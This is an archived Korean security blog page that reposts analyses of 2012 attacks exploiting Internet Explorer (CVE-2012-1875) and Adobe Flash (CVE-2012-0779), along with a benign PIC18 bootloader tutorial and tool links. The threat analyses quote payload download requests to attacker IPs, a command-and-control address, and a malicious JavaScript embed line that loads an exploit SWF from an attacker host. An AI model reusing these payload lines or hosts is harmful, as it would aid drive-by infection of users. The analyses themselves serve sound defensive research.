posted by 블르샤이닝 2012. 6. 14. 09:10
728x90

http://labs.alienvault.com/labs/index.php/2012/ongoing-attacks-exploiting-cve-2012-1875/?utm_source=rss

----------------------------------------------------------------------------------------------------

June 13th, 2012 | Posted by jaime.blasco in APT | Attacks | Exploits | IP Reputation | Malware

Yesterday, Microsoft released the June 2012 Black Tuesday Update including patches for a vulnerability affecting a wide range versions of Internet Explorer. The exploit works across different Windows versions ranging from XP to Windows 7.

The 0day has been actively exploited as reported by mcafee.

We have been able to find several servers hosting similar versions of the exploit. One of them was detected by our OTX system a couple of days ago:

http://labs.alienvault.com/labs/index.php/projects/open-source-ip-reputation-portal/information-about-ip/?ip=113.10.241.239

The exploit supports a wide range of languages and Windows versions and seems to be very reliable.

 

The exploit includes return-oriented programming (ROP) techniques that helps bypassing OS protections.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

The shellcode downloads the payload from the following url:

GET /javaw.exe HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1)
Host: 113.10.241.239
Connection: Keep-Alive

https://www.virustotal.com/file/705cf0c95f7f0d351d480df4b48f723c7f72ce4e16b14a3a52f99081707e5a32/analysis/

 

 

 

 

 

A couple of days ago the AV detection rate was 3/41.

 

Other versions of the exploit have been found in different servers requesting the following payloads:

GET /english/cala.exe HTTP/1.1

Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1)
Host: 140.109.236.143
Connection: Keep-Alive

and

GET /img/books.cab HTTP/1.1

Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1)
Host: www.villagXXXX
Connection: Keep-Alive

https://www.virustotal.com/file/1581c0555956f7f62c717e303b6f8785207f107fbb4e375c1e50788d9a4a2f07/analysis/

 

 

 

 

 

 

 

The payloads seems to be RAT (Remote Access Tools).

The C&C server for that RAT is online (ip address 219.90.117.132)

219.90.117.128 – 219.90.117.159
China Shenzhen Soul Tech Co. Ltd

We will release more information as soon as we analyze the components involved on this attack.

728x90
posted by 블르샤이닝 2012. 5. 15. 11:48
728x90

A look at object confusion vulnerability (CVE-2012-0779) in Adobe Flash

Recently I noticed an interesting blog entry in contagiodump: it was about a new attack using CVE-2012-0779, that involves a MS Word file named "World Uyghur Congress Invitation.doc". It got me curious, so I started analysing it.

To investigate this file I used FileInsight, it is a simple hex editor that supports OLE format. I searched in the object inside the ObjectPool field and found some useful information.

In particular, you can find this object in the CompObj stream:
   
   
   
and a CLSID in the OCXDATA stream:
   
   
   
Also, in the last screenshot you can notice a JavaScript code listing an url that points to a Flash file:
   
javascript:eval(document.write(unescape('%3Cembed%20src%3Dhttp://204.45.73.69/essais.swf?info=789c333230d13331d53337d633b3b432313106001afa0338&infosize=00FC0000%3E%3C/embed%3E')))
   
I searched for this data and discovered that ScriptBridge is the name for AE24FDAE-03C6-11D1-8B76-0080C744F389, and found a nice article, explaining that this CLSID allows the navigation to an url without requiring any user interaction. This is really a powerful feature for malicious purposes!
   
Now let's focus on "essais.swf". This is a CWS file (a compressed SWF file), but we don't care about this detail as opening it with Trillix will unpack it by default.
   
This file is encoded by DoSwf:
   
     
   
We need to unpack the DoSwf layer in order get to the exploit code, but Trillix fails at decompiling the ActionScript of the packed Flash file. So i searched for other similar Flash files related to this attack, and found "exp.swf" from the jsunpack website.
   
This time Trillix is able to show us the decompiled ActionScript code of the packer:
   
  
   
Here we go, this code shows a xor encryption! Searching for a decryption script I found this one, but it doesn't work as it is.

So, I rearranged the code to make it work with this sample. I only had to use the "decrypt" function properly, and fix the following lines:
   
byte block_size = (byte) (buffer.get() - 1);
byte key = (byte) (buffer.get() - 1);
int offset = buffer.getInt() - 2;
int length = buffer.getInt() - 2;
   
Once decrypted and decompressed, the result will be a file containing three concatenated Flash files. The first and third Flash files are from the DoSWF and only contain some metadata and license information. The original malicious Flash file is the second one, and you can find it here (thanks to contagiodump for the link).

This is our final exploit! If we give a look at the code we will find: a shellcode (line 23); a heapspray (line 133); some other stuff including cookies usage, a Rtmp connection and some control on the Windows version.

I'm unable to determine where the vulnerability is: maybe the exploit works only on certain software conditions, or maybe the Rtmp connection is involved in some way, or there's some other missing detail... I don't know! I think that I haven't got enough information to fully understand what happens, but at least here it's an idea of how the attack is structured: more complicated than usual .doc based attacks!

One final detail about the .doc file: as usual a exe file is appended at the end of the OLE, this one is a PE encrypted with a byte-per-byte xor using 0x70 as key (bytes that are 0 or 0x70 are not encrypted).


728x90
posted by 블르샤이닝 2012. 5. 15. 11:36
728x90

다음은 매크로 바이러스로 shell 코드를 만들어 윈도우의 프로세스에 대한 정보를 가져온 화면이다.  기본적으로 엑셀은 매크로


에 대해 디폴트로 사용안함으로 되어있기 때문에 해당 파일의 악성파일로 변하기위해서는 레지스트리의 값을 변경하는 동작부


터 구현되어야 할것이며, 이것을 이용하여 프로세스 목록 또는 특정 프로세스의 정보들을 가져갈 수 있다. 또한 다양한 옵션으


로 일시정지, 강제종료 등 다양한 기능이 동작될 수 있다. 




해당 엑셀안에 동작하는 매크로들의 화면이며 현재 코드는 정확히 분석되어있지 않으며, 대략적으로나마 프로세스에 대한 정보


들을 이용하기 위한 함수의 이름들을 확인할 수 있다. 



해당 파일은 해외의 사이트에서 가져온 파일을 토대로 간단히 본 부분이며, 엑셀을 이용해 다양한 기능을 구현할 수 있다는 점


을 알려 주기위한 글이다. 고로 짧게 쓴다~ㅎㅎㅎㅎㅎ 해당 파일이 궁금하신분은 아래 사이트 가서 파일을 구할 수 있다.


(참고로 악성기능이 없는 단순간 프로세스 관리 파일이다. 걱정은 안해도 될듯하다)


http://blog.didierstevens.com/2012/05/01/update-taskmanager-xls-v0-1-3-killer-shellcode/



TaskManager_V0_1_3.zip


728x90

'분석 > 바이러스 및 악성코드 샘플' 카테고리의 다른 글

mac malware source  (0) 2013.01.16
IDA ELF 플러그인  (0) 2012.12.26
Jack Ripper mbr  (0) 2012.02.27
Technical Analysis and Advanced Exploitation of Adobe Flash 0-Day (CVE-2011-0609)  (0) 2012.01.12
DOS공격 tool  (0) 2011.12.21
posted by 블르샤이닝 2012. 5. 3. 15:11
728x90

출처 : http://evenchick.com/articles/writing-a-bootloader/


WRITING A BOOTLOADER

I’ve been working on a simple bootloader for PIC18F devices called pbldr. In this article I’ll explain what a bootloader is, and how pbldr currently works. Note that is code is experimental, and is intended to show how a bootloader works.

What is a Bootloader?

The simplest bootloader just runs a program: it could be as simple as a single jump instruction that jumps to the program. In embedded systems, bootloaders usually provide a method of flashing new code to the device and initialize the hardware before running the main program. One example of this is the Arduino bootloader, which loads code from the Arduino IDE to the ATmega microcontroller over asynchronous serial (UART). Bootloaders can include other features, such as code decryption and power-on tests of the device.

Bootloaders allow code to be flashed to a microcontroller without specific programming hardware. This allows end-users to upgrade firmware without needing special hardware.  It can also simplify firmware updates for installed devices that are difficult to physically connect to. For example, an automotive controller might use Controller Area Network to load new code.

How does it work?

A bootloader runs immediately after the device is powered on. It first checks if the user is trying to load new code. If so, it receives the code and loads it into program memory at a specific memory location. Otherwise, it jumps to the start of the user’s program, which has already been loaded at that specific memory location.

Lets look at pbldr, which is currently a (very) minimal example of a bootloader. Full source is available from github.

UART

The UART1 port is used to load programs. There are a few functions that deal with UART:

/********************
 UART 1 Functions
********************/
 
// initializes UART1 at specified baud rate
void UART1Init(long baud){
    RCSTA1bits.SPEN = 1;	// enable port
    TRISCbits.TRISC7 = 1;	// make rx pin an input
    RCSTA1bits.CREN = 1;	// enable receive
    TRISCbits.TRISC6 = 0;	// make tx pin an output
    TXSTA1bits.TXEN = 1;	// enable transmit
    TXSTA1bits.SYNC = 0;	// use async serial
    TXSTA1bits.BRGH = 1;	// high speed mode
    BAUDCON1bits.BRG16 = 1;	// use 16 bit baud rate generator
    SPBRG1 = (FCY/baud/4)-1;	// set baud rate generator
    return;
}
 
// writes a byte to UART1
void UART1TxByte(char byte)
{
    while (!TXSTA1bits.TRMT); // wait until buffer is empty
    TXREG1 = byte;            // write the byte
    return;
}
 
// reads a byte from UART 1
char UART1RxByte(unsigned int timeout)
{
    while (!PIR1bits.RC1IF && timeout > 0)	// wait for data to be available
        timeout--;
    return RCREG1;				// return data byte
 
}
// writes a string from ROM to UART1
void UART1TxROMString(const rom char *str)
{
    int i = 0;
 
    while(str[i] != 0){
        UART1TxByte(str[i]);
        i++;
    }
    return;
}
 
// writes a string from RAM to UART1
void UART1TxString(char *str)
{
    int i = 0;
 
    while(str[i] != 0){
        UART1TxByte(str[i]);
        i++;
    }
    return;
}

These functions are fairly straight forward, and can be fully understood by reading the device datasheet section on the EUSART peripheral. However it is worth noting the difference between UART1TxString and UART1TxROMString. The Microchip C18 compiler will assume variables are in RAM unless the ‘rom’ keyword is used. The UART1TxString function will only work when passed a pointer to a string, and the UART1TxROMString will only work when passed a string stored in ROM (including string literals). In other words, the function calls:

char *str = "test";
UART1TxString(str);

and

UART1TxROMString("test");

are equivalent.

Program Memory

The next set of functions handles writing to flash memory. In this case, it is used to write to program memory. Program memory must be erased before being written to, and it can only be addressed in 64 byte blocks when erasing and writing.

/************************
 Program Memory Functions
*************************/
void FlashErase(long addr)
{
    TBLPTR = addr;
 
    EECON1bits.EEPGD = 1;	// select program memory
    EECON1bits.CFGS = 0;	// enable program memory access
    EECON1bits.WREN = 1;	// enable write access
    EECON1bits.FREE = 1;	// enable the erase
 
    INTCONbits.GIE = 0;		// disable interrupts
 
    // erase sequence
    EECON2 = 0x55;
    EECON2 = 0xAA;
    EECON1bits.WR = 1;
 
    INTCONbits.GIE = 1;		// enable interrupts
}
 
void FlashWrite(long addr, char *data)
{
    int i;
 
    FlashErase(addr);		// must erase flash before writing
 
    TBLPTR = addr;
 
    // load the table latch with data
    for (i = 0; i < 64; i++)
    {
        TABLAT = data[i];	// copy data from buffer
        _asm
            TBLWTPOSTINC	// increment the table latch
        _endasm
    }
 
    TBLPTR = addr;
 
    EECON1bits.EEPGD = 1;	// select program memory
    EECON1bits.CFGS = 0;	// enable program memory access
    EECON1bits.WREN = 1;	// enable write access
 
    INTCONbits.GIE = 0;		// disable interrupts
 
    // write sequence
    EECON2 = 0x55;
    EECON2 = 0xAA;
    EECON1bits.WR = 1;
 
    INTCONbits.GIE = 1;		// enable interrupts
 
}

FlashErase erases 64 bytes of program memory at the specified offset, and FlashWrite writes 64 bytes at the specified offset. Note the _asm and _endasm directives which are used to include assembly code. The TABWTPOSTINC instruction is used to increment the table write pointer. The sequence for writing and erasing is taken directly from the device datasheet section on flash memory.

Flashing and Running Code

This is the entry point when the device is first powered on.

void main()
{
    int i;
    long cur_addr = 0x800;
    char buf[64];
    char done = 0;
 
    UART1Init(115200);
 
    // wait for request to load code
    if (UART1RxByte(20000) == 0)
        _asm goto 0x800 _endasm	// no request, jump to program
 
    UART1TxROMString("OK\n");
    for (;;)
    {
        for (i = 0; i < 64; i++)
        {
            buf[i] = UART1RxByte(5000);
            if (buf[i-3] == 'D' && buf[i-2] == 'O' &&
                buf[i-1] == 'N' && buf[i] == 'E')
            {
                done = 1;
                break;
            }
        }
        FlashWrite(cur_addr, buf);
        cur_addr += 64;
        UART1TxByte('K');
        if (done)
            break;
    }
 
    UART1TxROMString("DONE\n");
    _asm goto 0x800 _endasm
}

First, UART1 is initialized  and the program waits for a request to load code. If it does not receive this request before the timeout, it will jump to 0×800 in program memory, which is the start of the loaded program.

If it does get a request to load code, it will receive data one byte at a time, and write every 64 bytes to program memory. Once the sequence ‘DONE’ is received, the write loop ends and the bootloader jumps to the program at 0×800.

Flashing Code

To flash code, connect to the device and send a byte immediately after power on. Then send code one byte at a time, followed by “DONE”. The device will then start the flashed application. When it resets, it will jump to the application after a short delay.

To get a compiler to generate code for the device, you will need to tell it to put code at the 0×800 offset, otherwise all of the jumps and branches will be incorrect. This can be done with a linker script. I’ll have more about that soon.

Next Steps

This bootloader is very simple and works, but has some issues. Interrupts are not yet supported, the sequence for flashing is not robust, there is are no checksums, etc… This is a first working state of the project. I hope to improve it to address the aforementioned issues and develop support for loading code from other protocols including CAN.

See part two for some background on interrupts, and getting them to work with a bootloader.


728x90
posted by 블르샤이닝 2012. 5. 3. 15:09
728x90

javascript deobfuscator


http://www.kahusecurity.com/2012/revelo-javascript-deobfuscator/




Revelo.zip


728x90